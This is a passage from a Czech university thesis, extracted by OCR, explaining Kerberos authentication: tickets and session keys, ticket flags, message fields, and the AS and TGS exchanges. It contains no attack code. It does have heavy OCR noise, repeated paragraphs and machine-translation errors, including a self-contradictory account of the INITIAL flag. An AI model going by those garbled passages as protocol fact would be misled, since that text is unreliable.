divéryhodnost hostitelského operacniho systému, zdrojovou IP adresu nebo fyzické zabez-
peceni jednotlivych zafizeni. Kerberos byl navrZen pro oteviend prostiedi, kde 1ze predpo-
kladat, Ze sit'ovd komunikace miZe byt odposlouchdvédna, upravovdna nebo napodobovana.
Ovérovani identity proto zajist'uje diivéryhodna tieti strana — autentizacni sluzba, a je posta-
veno na principu symetrické kryptografie se sdilenymi kli¢i. V pokrocilych implementacich
miuiZe byt protokol rozsiten i o prvky kryptografie s vefejnym klicem.[9]

Zakladni proces ovéfovani pomoci Kerberosu probihd ndsledovné: Klient zasle auten-
tizaCnimu serveru (AS) zadost o prihlaSovaci povéreni pro konkrétni sluzbu. Server odpovi
,listkem* (ticketem) a relaci klicem, pfi¢emZz odpovéd’ je zaSifrovdna pomoci klientova klice
(hesla). Ticket, ktery klient nasledné predava cilovému serveru, obsahuje jeho identitu a re-
laci kli¢, vSe zaSifrované pomoci tajného klice serveru. Po obdrZeni ticketu muzZe server ove-
fit identitu klienta a relaci kli¢ miiZze byt ddle vyuzit k autentizaci serveru, Sifrovani nasledné
komunikace nebo vyméné dalSich docasnych klici. [9]

Je tfeba zduraznit, Ze v praxi aplikace Casto vyuZivaji Kerberos pouze pfi navdzani sit’ o-
vého spojeni. Pokud aplikace déle nevyuZiva Sifrovani nebo ochranu integrity prendSenych
dat, plati autentizace vyhradné pro pocatecni spojeni, nikoli pro ndslednou komunikaci v

ramci tohoto spojeni.[9]

48
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Autentifikacni proces probiha nasledujicim zptisobem:

* Klient odesle autentizacnimu serveru (AS) poZadavek na ,,povéfeni* pro dany server.

* Autentizacni systém odpovi témito idaji povérenimi zasifrovanymi v kli¢i klienta. Po-
véteni se sklddaji z ,.ticketu* pro server a docasného Sifrovaciho klice

 Klient pred4 ticket (ktery obsahuje klientovu identitu a kopii klice relace, vSe zaSifro-

vanou kliCem serveru) na server.

[9]

KIi¢ relace (neboli Session Key) se pouziva k ovéreni klienta a volitelné mtiZe byt pouzit
k ovéfeni serveru. Mize také byt pouZit k Sifrovani dal$i komunikace mezi obéma stranami
nebo k vyméné samostatného dil¢iho klice relace, ktery se pouZzije k Sifrovani dal$i komuni-
kace. Mnoho aplikaci vyuziva funkce systému Kerberos pouze pfi zahdjeni sit’ ového spojeni
zaloZeného na datovém toku. Pokud aplikace neprovddi Sifrovani nebo ochranu integrity pro
datovy proud, ovéfeni identity se vztahuje pouze na datovy proud pfipojeni a nezarucuje se,
Ze nésledné zpravy ve spojeni pochézeji ze stejného zdroje.[9]

Protokol Kerberos se sklada z nékolika dil¢ich protokold (nebo vymén). Existuji dvé za-
kladni metody, kterymi muZe klient pozadat server Kerberos (V piipadé active directory
je serverem KDC) o povéreni. Pfi prvnim pfistupu klient poSle pfidruzenému systému po-
zadavek na pristupovy listek pro poZadovany server v otevieném textu (tohoto se da krdsné
zneuzit). Odpovéd’ je zasldna zaSifrovana tajnym klicem klienta. Obvykle se jedna o Zadost o
ticket-granting ticket (TGT), ktery 1ze pozdé&ji pouZit u serveru poskytujiciho ticket-granting
(TGS). Pti druhé metodé klient odesle pozadavek na TGS. Klient se pomoci TGT ovéii u
TGS stejnym zpisobem, jako kdyby kontaktoval jakykoli jiny aplikacni server, ktery vyza-
duje ovéfeni Kerberos. Odpovéd’ je zaSifrovdna klicem relace z TGT. Ackoli specifikace
protokolu popisuje pfidruZzeny systém a TGS jako samostatné servery, v praxi jsou imple-
mentovany jako rtizné vstupni body protokolu v ramci jednoho serveru Kerberos.[9]

Jakmile jsou povéteni ziskdna, mohou byt pouzita k ovéfeni totoznosti piikazcl v trans-
akci, k zajiSténi integrity zprav, které si mezi sebou vyménuji, nebo k zachovani soukromi
zprav. Aplikace si miize zvolit jakoukoli ochranu, kterd je nezbytna.[9]

Pro ovéfeni identity dcastnikil transakce preddva klient tzv. ,ticket™ cilovému aplikac-
nimu serveru. Vzhledem k tomu, Ze ticket je zasilan pies sit’ a jeho ¢asti mohou byt zrani-

telné vuci utokiim typu prehrani (replay attack), je nezbytné pfipojit dalsi dikaz o pravosti
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komunikace. Tim je tzv. autentifikator, tedy zprava zaSifrovana relaci klicem, kterd obsahuje
aktudlni Casové razitko. Toto razitko potvrzuje, Ze zprdva byla vytvorena neddvno, a tedy se
nejednd o znovupouZiti staré komunikace. Zaroven samotné Sifrovani autentifikatoru relaci
klicem dokazuje, Ze byl vytvoren tcastnikem, ktery timto klicem skutecné disponuje. JelikoZ
relace kli¢ znaji pouze klient a server (nikdy se nepfendsi v oteviené podobé), autentifikator

efektivné ovétuje identitu klienta. [9]

Pro zajiSténi integrity zprav v rdmci komunikace mezi klientem a serverem lze rovnéz
vyuzit relaci kli¢. Tento pristup umoziiuje nejen detekci pokusti o prehrdni zpravy, ale i pfi-
padnou manipulaci s jejim obsahem. Integrita je zajiSténa pomoci kontrolniho souctu (napf.
hash nebo digest), ktery je generovan na zdkladé obsahu zpravy a nasledné Sifrovan relaci
klicem. Pro zajisténi divérnosti lze navic prenasena data Sifrovat bud’ piimo relaci klicem

uloZenym v ticketu, nebo pomoci dil¢iho relaci kliCe, jenZ je soucésti autentifikdtoru. [9]
5.1 Priznaky ticketu a pozadavky

Kazdy tiket Kerberos obsahuje sadu piiznakd, které se pouzivaji k oznaceni atributi daného
ticketu. Vétsinu priznaki si mize klient vyzadat pfi ziskani ticketu, nékteré jsou automaticky
zapindny a vypindny serverem Kerberos podle potfeby. V ndsledujicich odstavcich budou
vysvétleny nejdilezitéjsi priznaky. [9]

Ptiznak INITIAL oznacuje, Ze ticket byl vystaven pomoci protokolu pfidruzeného sys-
tému, nikoli na zdkladé TGT. Aplikacni servery, které chtéji vyZadovat prokazatelnou zna-
lost tajného klice klienta (napf. program pro zménu hesla), mohou trvat na tom, aby byl tento
priznak nastaven u vSech tiketi, které prijimaji, a mohou si tak byt jisti, Ze kli¢ klienta byl
ovérovacimu serveru predloZzen nedavno. [9]

Ptiznaky PRE-AUTHENT a HW-AUTHENT poskytuji dalsi informace. o pocatecni au-
tentizaci, bez ohledu na to, zda byl ticket vystaven primo (v takovém piipad¢ bude nastavena
hodnota INITIAL), nebo vydédn na zdkladé TGT (v tom piipadé je nastaven piiznak INI-
TIAL), nebo na zdkladé TGT (v tom piipadé je nastaven priznak INITIAL, ale pfiznaky
PRE-AUTHENT a HW-AUTHENT se ptenaseji dil z TGT). [9]

Ptiznak INVALID oznacuje, Ze ticket je neplatny. Aplikacni servery musi tikety s timto
priznakem odmitnout. V této podobé bude vystaven tip s pozd€j$Sim datem vystaveni. Ne-

platné tipy MUSI byt pied pouzitim ovéfeny KDC tak, Ze se KDC predloZi v pozadavku
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TGS se zadanou volbou VALIDATE. KDC potvrdi platnost tiptt azZ po uplynuti jejich po-
cateCniho Casu. Ovéreni platnosti je vyzadovéno proto, aby mohly byt jizdenky s pozdéjSim
datem, které byly odcizeny pied Casem zahdjeni platnosti, trvale zneplatnény.[9]
RENEWABLE tickety 1ze pouzit k zmirnéni nésledkti kradeze. RENEWABLE tickety
maji dvé vlastnosti ,,dobu platnosti": prvni je, kdyz se aktudlni instance a druhou je nejzazsi
pfipustnd hodnota pro danou verzi ticketu jednotlivou dobu platnosti. Klient aplikace musi
pravidelné (tj. pred vyprSenim platnosti) predlozit KDC obnovitelny ticket, pfiemz v po-
zadavku KDC nastavenou volbou RENEW. KDC vyda novy ticket s novym klicem relace a
pozdéjsi dobou platnosti. VSechny ostatni ticketu ziistavaji pfi procesu obnoveni nezménény.
Jakmile nastane nejzazsi pripustnd doba vyprSeni platnosti, ticket vyprsi trvale. Pfi kazdém
obnoveni se KDC miuiZe podivat do seznamu "horkych ticketi"a zjistit, zda nebyl ticket na-
hlaSen jako odcizeny od doby jeho posledniho obnoveni, odmitne obnovit ukradené tickety,

a tim i zkracuje se doba pouZitelnosti ukradenych ticketi.[9]

Priznak POSTDATED oznacuje, Ze tip byl datovan dodatecné. Aplikacni server mize
zkontrolovat pole authtime v tipu, aby zjistil, kdy doslo k pivodnimu ovéfeni. Nékteré sluzby
se MOHOU rozhodnout odmitnout postdatované tikety nebo je mohou pfijmout pouze v
urcitém casovém obdobi po plivodnim ovéfeni. Kdyz KDC vydda POSTDATED tiket, bude
také oznacen jako INVALID, takZe klient aplikace MUSI tiket pfed pouZitim predlozit KDC
k ovéreni.[9]

Ptiznak PROXTABLE v ticketu je obvykle interpretovan pouze piikazem sluzba poskytu-
jici ticket. Je-li tento priznak nastaven, fika serveru poskytujicimu tickety, Ze je v poradku,
aby vystavil novy ticket (ale ne TGT) s jinou sit ovou adresou na zdkladé tohoto ticketu.
Tento pfiznak je nastaven, pokud o néj klient pozad4 pfi prvnim ovéfeni. Ve vychozim nasta-
veni si klient vyzada, aby byl nastaven pii Zadosti o TGT, a aby byl resetovan pii Zadosti o
TGT jakéhokoli jiného typu. Tento pfiznak umozZiuje klientovi pfedat serveru proxy server,
aby provedl vzdaleny pozadavek jeho jménem (napf. klient tiskové sluzby mize predat vzda-
leny pozadavek serveru tiskovému serveru proxy pro pristup k soubortim klienta na ur¢itém

serveru. souborovém serveru, aby splnil pozadavek na tisk).[9]

Ptiznak FORWARDABLE v Kerberos ticketu je standardné vyhodnocovan predevs$im
sluzbou, ktera vydava tickety (Ticket Granting Service, TGS), zatimco aplikacni servery

ho mohou ignorovat. Jeho vyznam je podobny pfiznaku PROXIABLE, s tim rozdilem, ze



52 UTB ve Zliné, Fakulta aplikované informatiky

umoznuje vydani TGT (Ticket Granting Ticket) i pro rizné sit’ové adresy. Vychozi hodnota
tohoto priznaku je vypnuta (nulova), nicmén¢ uzivatel miize pozadat o jeho aktivaci tim, Ze
pfi Zadosti o pocatecni TGT (v rdmci AS pozadavku) specifikuje volbu FORWARDABLE.
Tento pfiznak umoZiuje tzv. ,,pfeddvani ptihlaSeni (credential forwarding), aniZ by uZivatel
musel znovu zadavat své heslo. Pokud neni nastaven, neni predavani povoleno — nicméné
stejného efektu 1ze dosdhnout 1 opétovnou vyménou s autentizacnim serverem (AS), pokud

uzivatel uvede spravné sit ové adresy a své heslo. [9]

Priznak OK-AS-DELEGATE umoznuje radici distribuc¢niho klice (Key Distribution Cen-
ter, KDC) informovat klienta o tom, zda je konkrétni zprostredkujici server povaZzovan za
divéryhodny k prijimani delegovanych povéfeni podle zdsad mistni domény (sféry). N¢é-
které aplikace totiZ vyZaduji, aby mohl klient delegovat serveru opravnéni k dalSimu jednani
jeho jménem — napftiklad pro navazovéni spojeni s jinymi sluZbami. Pfedédni takovych oprav-
néni vyZaduje, aby klient predal serveru své delegované povéieni. Ziskdni servisniho ticketu
samo o sob¢ vsak klientovi nesdé€luje, zda by mél danému serveru divérovat — pravé k tomu

slouZi tento ptiznak. [9]
5.2 Dulezité pole zpravy Kerberos

Dle dokumentace je definovdno mnoho parametrti a poli ve zpravé Kerberos. Nasledujici

parametry jsou nejrelevantné;jsi:

* Realm - doména, pro kterou je ticket urCen
* PrincipalName - skldda se ze dvou Casti:
— name-type - interpretuje co reprezentuje principal string. Mtize se napiiklad jed-
nat o jméno uZzivatele, sluzby, serveru nebo SMTP forma emailové adresy
— name-string - samotny textovy fetézec interpretovany name-type
» KerberosTime - Casové razitko interpretované jako Generalizovany cas(Bez zlomki

sekund)

HostAddress - skldda se ze dvou Casti:
— addr-type - specifikuje typ adresy, ktera nésleduje. Naptiklad IPv4 nebo IPv6

— address - octet string specifické adresy.

AuthorizationData - skladaji se ze dvou Casti:
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— ad-data - obsahuje autorizacni udaje, které se interpretuji podle podle hodnoty
odpovidajiciho pole typu.

— ad-type - urCuje format podpole ad-data. VSechny jsou vyhrazeny pro mistni po-
uziti. Nezdporné hodnoty jsou vyhrazeny pro registrované pouZiti.

* PA-DATA - PA-DATA byla oznacovéna jako ,,pfedautentizacni data“, coZ znamend, 7e
byla pouZita k doplnéni pocatecniho ovéreni pomoci KDC. Sklad4 se ze dvou ¢ésti:

— padata-type - uvadi zptisob, jakym ma byt prvek padata-value interpretovat. Za-
porné hodnoty padata-type jsou vyhrazeny pro pro neregistrované pouZziti. Neza-
porné hodnoty se pouZivaji pro registrované pouZiti k interpretaci typu prvku.

— padata-value - obvykle obsahuje kédovani DER typu dat. Typ padata urcuje,
ktery typ je zde zakédovan. Toto pole miize obsahovat také informace potfebné
pro néktera rozsiteni protokolu Kerberos. Muze byt napiiklad pouZito k prvot-
nimu ovéreni identity klienta pfed vracenim odpovédi.

» KerberosFlags - toto pole uvadi, které z riznych moZnosti byly pouZzity nebo pozado-
vany pii vystaveni ticketu. Jedna se o bitové pole, kde vybrané moZnosti jsou ozna-
¢eny nastavenim bitu (1) a nevybrané mozZnosti a rezervovand pole jsou vynulovdna
(0). Nulty bit je nejvyznamné;jsi bit.

* EncryptedData - slouZi jako kontejner pro libovolna zaSifrovand data, které jsou ob-
vykle kédovéna do jiného datového typu. Pole v ramci EncryptedData asistuji pfijemci
pri vybéru klice, pomoci kterého lze prilozena data deSifrovat. Sklada se ze ti Casti:

— etype - urcuje, ktery Sifrovaci algoritmus byl pouzit k Sifrovani.

— kvno - obsahuje ¢islo verze klice, pod kterym jsou data zaSifrovdna. Vyskytuje
se pouze ve zpravach zaSifrovanych pod dlouhotrvajicim klicem, jako jsou tajné
kli¢e klientq.

— cipher - toto pole obsahuje zaSifrovany text, zakédovany jako OCTET string.

* EncryptionKey - EncryptionKey definuje, které prendsené klice jsou pouzity pro Sif-
rovani. Sklad4 se ze dvou Césti:

— keytype - urCuje typ Sifrovani Sifrovaciho klice, ktery nasleduje v poli keyvalue.

— keyvalue - obsahuje samotny kli¢ zakédovany jako OCTET string.
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5.3 Vyména zprav

Vymeéna autentizacnich sluzeb (AS) mezi klientem a autentizacnim serverem Kerberos je ini-
ciovana klientem, ktery si pfeje ziskat autentizacni povétfeni pro dany server, ale v soucasné
dobé zadné povereni nemd. V zdkladni podobé se k Sifrovani a deSifrovani pouziva tajny kli¢
klienta. Tato vyména se typicky pouZziva pii zahdjeni prihlasovaci relace k ziskdni povéreni
pro server udélujici vstupenky, kterd se nasledné pouziji k ziskani povéreni pro dalsi servery,
aniz by bylo nutné déle pouzivat tajny kli¢ klienta. Tato vyména se také pouziva k vyzadani
povéreni pro sluzby, které nemusi byt zprostfedkovany sluzbou Ticket-Granting Service, ale
vyzaduji znalost tajného klice zadavatele, jako je sluzba zmény hesla (sluzba zmény hesla
odmitd pozadavky, pokud Zadatel nemtze prokdzat znalost starého hesla uZzivatele; poZada-
vek na tuto znalost zabranuje neoprdvnéné zméné hesla nékym, kdo pfistoupi k bezobsluzné
relaci).[9]

Tato vyména sama o sobé neposkytuje Zadnou jistotu, zZe identitu uzivatele. Ovérovani
uzivatele, ktery se prihlasuje k mistni siti, 1ze nejprve pouzit povéfeni ziskana pfi vyméné
pridruZeného systému. Ve vyméné TGS k ziskdni povéfeni pro mistni server tato povéreni
musi byt ovéfena mistnim serverem prostfednictvim uspésného dokonceni vymény klient/-

server.[9]

V pozadavku klient odesle (v otevieném textu) svou vlastni identitu a identitu serveru, pro
ktery 7ad4 povéteni, dalsi informace o povéfenich, o kterd Zad4, a ndhodné vygenerovanou
nonce, kterd mize byt pouzita k odhaleni opakovani a k pfifazeni odpovédi k odpovidaji-
cim 74dostem. Tato nonce MUSI byt nahodné vygenerovéna klientem a zapamatovéna pro
kontrolu proti chybéjicimu kédu. nonce v ocekdvané odpovédi. Odpovéd’, KRB_AS_REP,
obsahuje listek, ktery klient predloZi serveru, a kli€ relace. ktery bude sdilen klientem a ser-
verem. KIi¢ relace a dal§i informace jsou zaifrovany v tajném kli¢i klienta. Sifrovand ast
zpravy KRB_AS_REP obsahuje také nonce. ktera MUSI byt porovndna s nonce ze zpravy
KRB_AS_REQ.[9]

Bez ptedbéZzného ovéreni autentizacni server nevi, zda je klient skutecné zadavatel uve-
deny v pozadavku. JednoduSe odesle odpovéd’, aniZ by védél nebo se zajimal o to, zda se
jednd o skute¢ného klienta. To je pfijatelné, protoZe nikdo jiny nez prikazce, jehoZ identita

byla uvedena v poZadavku, nebude moci odpoveéd’ pouZit. Jeho kritické informace jsou za-
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Sifrovany v kli¢i tohoto zadavatele. Nicméné, miZe dtocnik odeslat zpravu KRB_AS_REQ,
aby ziskal zndmy otevieny text ve tvaru, aby mohl napadnout kli¢ zadavatele. Zejména pokud
je kli¢ zaloZen na hesle, miZe to zptsobit bezpecnostni riziko. TakZe pocatecni pozadavek
podporuje nepovinné pole, které 1ze pouZit k predani dalsi informace, které mohou byt po-
tfebné pro po&itetni vyménu. Toto pole BY MELO byt pouZito pro pedb&zné ovéieni.[9]
Mohou se vyskytnout riizné chyby, které jsou indikovany chybovou odpovédi. (KRB_ERROR)

misto odpovédi KRB_AS_REP. Chybova zprdva neni zaSifrovana. Zpriva KRB_ERROR
obsahuje informace, které 1ze pouZit k jejimu pfifazeni ke zpravée, na kterou odpovida. Na
adrese obsah zprdvy KRB_ERROR neni chridnén proti ztraté integrity. Jako proto klient
nemtize odhalit opakovani, smyglenky nebo vymysly. modifikace. Reseni tohoto problému

bude obsaZeno v dokumentu protokolu v budouci verzi.[9]
5.3.1 Zprava KRB_AS_REQ

Klient mtze v pocate¢nim pozadavku zadat fadu moZnosti. Mezi tyto moZnosti patii, zda ma
byt provedeno predbézné ovéieni, zda ma byt poZadovany ticket obnovitelny, zastupitelny
nebo preposilatelny, zda mé byt dodate¢né datovdn nebo zda mé umoznit dodatecné datovani
odvozenych ticketil a zda bude namisto neobnovitelného tipu pfijat obnovitelny ticket, pokud
pozadované datum platnosti nelze splnit neobnovitelnym ticketem (z divodu konfiguracnich

omezeni). Klient pfipravi zpravu a odesle ji KDC.[9]

Pokud vse probéhne v poradku, bude vysledkem zpracovani zpraivy KRB_AS_REQ vy-
tvoreni tiketu, ktery klient predloZi serveru. ProtoZe systém Kerberos mize bézet pres ne-
spolehlivé pienosy, jako je UDP, MUSI byt KDC pfipraveno na opétovné odeslani odpovédi
v pripadé jejich ztraty. Pokud KDC obdrzi pozadavek totozny s pozadavkem, ktery neddvno
tisp&sné zpracovalo, MUSI odpovédét zpraivou KRB_AS_REP namisto chyby opakovani.
Aby se omezil Sifrovany text poskytnuty potencidlnimu utocnikovi, MUZE KDC odeslat
stejnou odpovéd’, kterd byla vygenerovana pii prvnim zpracovani pozadavku. KDC MUSI

dodrZovat toto chovani pfi prehravani, i kdyZz je skute¢ny pouzivany transport spolehlivy.[9]
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5.3.2 Zprava KRB_AS_REP

Ovétovaci server vyhleda jméno klienta (V kontextu zpravy je ndzev Principal cname) a
serveru uvedeného v KRB_AS_REQ ve své databdzi a vytdhne jejich piislusné klice. Pokud
je pozadované klientské jméno uvedené v poZadavku neznamé, protoZe neexistuje v databazi
hlavnich klientt KDC, pak je vracena chybovd zprava s ptiznakem

KDC_ERR_C_PRINCIPAL_UNKNOWN.[9]

Pokud je to vyzadovédno, server pozadavek pfedem ovéri, a pokud kontrola predbéz-
ného ovéreni selze, vrati chybovou zpravu s kédem KDC_ERR_PREAUTH_FAILED. Po-
kud je pfedbézné ovéreni vyzadovano, ale v poZadavku nebylo pfitomno, je vracena chy-
bova zprava s kédem KDC_ERR_PREAUTH_REQUIRED a do pole e-data zpravy KRB-
ERROR bude ulozen objekt METHOD-DATA, ktery specifikuje, které mechanismy pred-
bézného ovéreni jsou prijatelné. Obvykle bude obsahovat prvky PA-ETYPE-INFO a/nebo
PA-ETYPE-INFO2. Pokud server nemuze prijmout Zadny typ Sifrovani pozadovany klien-
tem, je vracena chybova zprava s kddem KDC_ERR_ETYPE_NOSUPP. V opacném ptipadé

KDC vygeneruje pseudondhodny kli¢ relace.[9]

Pokud v odpovédi na pozadavek pridruzeného systému existuje vice Sifrovacich klict za-
registrovanych pro klienta v databazi Kerberos, pak se etype pole z pozadavku pridruZeného
systému pouzije KDC k vybéru Sifrovaciho protokolu. metodu, kterd se pouZzije k ochrané
Sifrované Casti KRB_AS_REP. kterd je odesldna klientovi. Pokud existuje vice nez jedna
podporovanych silnych typt Sifrovani v seznamu etype, MELO by KDC pouZit prvni platny
silny etype, pro ktery je Sifrovaci kli¢ k dispozici.

Pokud je kli¢ uzivatele generovan z hesla nebo pristupové fraze, pouzije se funkce string-
to-key pro dany typ Sifrovaciho klice. Hodnota soli a dal$i parametry pro funkci fetézec-kli¢
maji vychozi hodnoty, které mohou byt pfepsany predautentizaCnimi ddaji (PA-PW-SALT,
PA-AFS3-SALT, PA-ETYPE-INFO, PA-ETYPE-INFO?2 a dalsi), protoZe se predpoklida, Ze
KDC uklada pouze kopii vysledného klice. To znamend, Ze tyto hodnoty by se nemély u

kli¢a zaloZenych na heslech ménit, s vyjimkou zmény klice hlavniho povinného.

Bez kontaktu s KDC neni moZné spolehlivé vygenerovat kli¢ uzivatele s danym heslem,
protoZe nebude znamo, zda jsou poZadovany alternativni hodnoty soli nebo parametri. KDC
se pokusi pfiradit typ ndhodného klice relace ze seznamu metod v poli etype. KDC vybere

vhodny typ na zdkladé poskytnutého seznamu metod a informaci z databaze Kerberos, které
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uvadéji prijatelné metody Sifrovani pro aplikacni server. KDC nevyda tikety se slabym typem

Sifrovaciho klice relace.

Pokud pozadovany Cas zacéatku platnosti chybi, oznacuje ¢as v minulosti nebo je v rdmci
okna prijatelného zkresleni hodin pro KDC a nebyla zaddna moZnost POSTDATE, pak se
Cas zacatku tiketu nastavi na aktudlni Cas ovérovaciho serveru. Pokud udavé ¢as v budouc-
nosti mimo pfijatelnou odchylku hodin, ale nebyla zaddna moZznost POSTDATED, je vra-
cena chyba KDC_ERR_CANNOT_POSTDATE. V opa¢ném piipadé je poZadovany cas
zacatku kontrolovan s politikou mistni sféry (sprdvce miZe rozhodnout o zdkazu urcitych
typl nebo rozsaht postdatovanych typtl), a pokud je Cas zacatku typu pfijatelny, je nastaven
podle pozadavku a v novém typu je nastaven priznak INVALID. Ticket s pozdéjsim datem
MUSI byt pfed pouZitim ovéfen predlozenim KDC po dosaZeni Gasu spusténi.

Pokud je poZadovana doba vyprSeni minus doba spusténi (jak je urCena vyse) kratsi nez
minimdlni doba Zivotnosti stanovend mistem, je vracena chybova zprava s kédem
KDC_ERR_NEVER_VALID. Pokud je poZadované doba platnosti tipu delsi, neZ bylo ur-
¢eno vyse, a pokud byla pozadovana volba ,,RENEWABLE-OK*, pak je v novém tipu nasta-
ven priznak ,, RENEWABLE" a hodnota renew-till je nastavena, jako kdyby byla poZadovana
volba ,,RENEWABLE*".

V poli pfiznaki nového tipu budou nastaveny nasledujici moznosti, pokud byly vyzadany
a pokud to politika mistni oblasti umoZiiuje: PREDATELNY, MUZE BYT DATOVAN,
DATOVAN PO DATU, ZASTUPITELNY, OBNOVITELNY. Pokud je novy ticket dato-

van dodatecné (Cas zahdjeni je v budoucnosti), bude nastaven také ptiznak INVALID.

Pokud se vSe podatii, server zaSifruje Sifrovou Cast tiketu pomoci Sifrovaciho klice ziska-
ného ze zaznamu hlavniho povinného serveru v databdzi Kerberos s pouZzitim typu Sifrovani
ptifazeného ke kli¢i hlavniho povinného serveru. Poté zformatuje zpravu KRB_AS_REP,
pricemz adresy v poZadavku zkopiruje do pole caddr odpovédi, do pole padata odpovédi
umisti vSechny poZadované predautentizacni tidaje a Sifrovou ¢ast zaSifruje klicem klienta
pomoci prijatelné Sifrovaci metody pozadované v poli etype pozadavku nebo nékterym kli-

¢em urenym pouZivanymi predautentizatnimi mechanismy.
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5.3.3 Zprava KRB_ERROR

Muze dojit k nékolika chybam, na které ovérovaci server reaguje tak, Ze klientovi vrati chy-

bovou zpradvu KRB_ERROR s poli error-code a e-text nastavenymi na ptislu$né hodnoty.

Pokud je typ zpravy odpovédi KRB_AS_REP, klient ovéfi, zda pole cname a crealm
v Casti odpovédi s Cistym textem odpovidaji tomu, co pozadoval. Pokud jsou pfitomna pa-
data, mohou byt pouzita k odvozeni sprdvného tajného klice pro deSifrovani zpravy. Klient
desifruje zaSifrovanou ¢ast odpovédi pomoci svého tajného klice a ovéfi, zda se nonce v
zasifrované Casti shoduje s nonce, kterou uvedl ve své zZadosti. Ovéruje také, zda se sname
a srealm v odpovédi shoduji s hodnotami v poZadavku a zda je spravné i pole hostitelské
adresy. Poté uloZi tiket, kli¢ relace, Cas zahdjeni a vyprSeni platnosti a dal$i informace pro
pozdé&jsi pouziti. Pole last-req ze zaSifrované ¢asti odpovédi MUZE byt zkontrolovdno za
ucelem upozornéni uzivatele na bliZici se vyprSeni platnosti klice. To umoznuje klientskému

programu navrhnout ndpravna opatfeni, napiiklad zménu hesla.

Po ovéfeni zpravy KRB_AS_REP (porovninim vricené nonce s nonce odeslanou ve
zpravé KRB_AS_REQ) klient vi, Ze aktudlni ¢as v KDC je Cas precteny z pole authtime za-
Sifrované ¢asti odpovédi. Klient mize tuto hodnotu volitelné pouZit pro synchronizaci hodin
v nasledujicich zpravach tak, Ze spolu s listkem zaznamend rozdil (offset) mezi hodnotou
authtime a mistnimi hodinami. Tento offset pak muze tentyz uZivatel pouZzit k Gpravé Casu
nacteného ze systémovych hodin pfi generovani zprav.

Tuto techniku je nutno pouZit pfi upravé zkresleni hodin namisto pfimé zmény systé-
movych hodin, protoze odpovéd” KDC je ovéfena pouze pro uZivatele, jehoZ tajny kli¢ byl
pouzit, ale nikoli pro systém nebo pracovni stanici. Pokud by byly hodiny upraveny, mohl by
se utocnik ve spolceni s uzivatelem prihlasujicim se k pracovni stanici dohodnout na hesle,
coz by vedlo k odpovédi KDC, ktera by byla spravné ovéfena, i kdyZ by nepochdzela z KDC,
kterému pracovni stanice diverfuje.

Spravné deSifrovani zpraivy KRB_AS_REP nestaci hostiteli k ovéfeni identity uZivatele;
uzivatel a tto¢nik mohou spolupracovat a vygenerovat zpravu ve formatu KRB_AS_REP,
kterd se spravné deSifruje, ale nepochazi od spravného KDC. Pokud chce hostitel ovéfit to-
toznost uzivatele, MUSI poZadovat, aby uZivatel predloZil povéfeni aplikace, které lze ové-
fit pomoci bezpecné uloZeného tajného klice hostitele. Pokud lze tato povéfeni ovéfit, 1ze

identitu uZivatele zajistit.
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Pokud je typ zpravy odpovédi KRB_ERROR, pak ji klient interpretuje jako chybu a

provede tlohy specifické pro danou aplikaci nezbytné pro obnovu.
5.4 Vyména zprav TGS

Vyména TGS mezi klientem a systémem TGS Kerberos je iniciovdna klientem, ktery chce
ziskat povéfeni pro dany server (ktery mizZe byt registrovan ve vzdalené sfére), ktery chce
obnovit nebo potvrdit existujici ticket nebo ktery chce ziskat proxy ticket. V prvnim piipadé
musi klient jiz ziskat tiket pro sluzbu Ticket-Granting Service pomoci vymény ptidruzeného
systému (TGT se obvykle ziskdva pfi prvotnim ovéfeni klienta v systému, naptiklad pfihla-
Seni uZivatele). Formdt zpravy pro vyménu TGS je téméf totoZny s formatem pro vyménu
pfidruzeného systému. Hlavni rozdil spocivd v tom, Ze Sifrovani a deSifrovani ve vyméné
TGS neprobiha pod klicem klienta. Misto toho se pouZziva kli¢ relace z TGT nebo obnovi-
telného tiketu nebo dil¢i kli€ relace z autentizatoru. Stejné jako v pfipadé vSech aplikacnich
serverl nejsou tikety s proslou platnosti akceptovany systémem TGS, takZe po vyprseni plat-

nosti obnovitelného ticketu nebo TGT musi klient pouZit samostatnou vyménu, aby ziskal

platné tikety.

Vyména TGS se skldda ze dvou zprav: pozadavku (KRB_TGS_REQ) povéreni od kli-
enta serveru, ktery vystavuje tickety Kerberos a odpovédi (KRB_TGS_REP nebo KRB_ERROR).
Zprava KRB_TGS_REQ obsahuje informace o ovéfeni klienta a Zadost o povéreni. Ove-
fovaci informace se sklddaji z ovérovaci hlavicky (KRB_AP_REQ), kterd obsahuje diive
ziskany, obnoveny nebo neplatny ticket klienta. V piipadé¢ TGT a proxy miize zZadost ob-
sahovat jednu nebo vice z nasledujicich poloZek: seznam sit’ovych adres, soubor zadanych
autorizacnich tdaja, které maji byt zapecetény v tiketu pro autorizacni pouziti aplikaénim
serverem, nebo dalsi tikety. Odpovéd’” TGS (KRB_TGS_REP) obsahuje pozadovand pové-
feni zaSifrovand v kli¢i relace z TGT nebo obnovitelného tiketu, ptipadné v dil¢im klici
relace z autentizdtoru (soucdst autentizacni hlavicky), je-1i pfitomen. Zprdva KRB_ERROR
obsahuje kéd chyby a text vysvétlujici, co se pokazilo. Zprava KRB_ERROR nenf $ifro-
vana. Zprava KRB_TGS_REP obsahuje informace, které Ize pouzit k detekci opakovani a
k jejimu pfifazeni ke zpravée, na kterou odpovidd. Zprava KRB_ERROR rovnéZ obsahuje
informace, které lze pouzit k jejimu pfirazeni ke zpravé, na kterou odpovida. Pro vyménu

TGS plati stejné pozndmky o ochrané integrity zprdiv KRB_ERROR.
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54.1 Zprava KRB_TGS_REQ

Pied odesldnim poZadavku sluzbé& poskytujici tikety MUSI klient uréit, ve které doméné je
aplikacni server zaregistrovan. Toho lze dosdhnout nékolika zptisoby. MiZe to byt zndmo
pfedem (protoZe doména je soucdsti identifikatoru hlavniho serveru), miiZe to byt uloZzeno v
nameserveru, nebo to mize byt ziskano z konfigura¢niho souboru. Pokud je doména, ktera
ma byt pouZita, ziskdna ze jmenného serveru, hrozi nebezpeci podvrZeni, pokud jmenna
sluzba poskytujici jméno sféry neni ovérena. To by mohlo vést k pouziti domény, kterd byla
kompromitovéna, coZ by mélo za ndsledek moZznost tto¢nika kompromitovat ovérovani apli-

kacéniho serveru vudi klientovi. [9]

Pokud klient znd doménové jméno serveru sluzby a doménu a nemd jest¢ TGT pro
prislusnou sféru, je tfeba jej ziskat. O to se nejprve pokusi vyzadanim TGT pro cilovou
doménu od serveru Kerberos, pro ktery klient TGT vlastni (rekurzivnim pouZitim zpravy
KRB_TGS_REQ). Server Kerberos MUZE vratit TGT pro pozadovanou sféru, v takovém
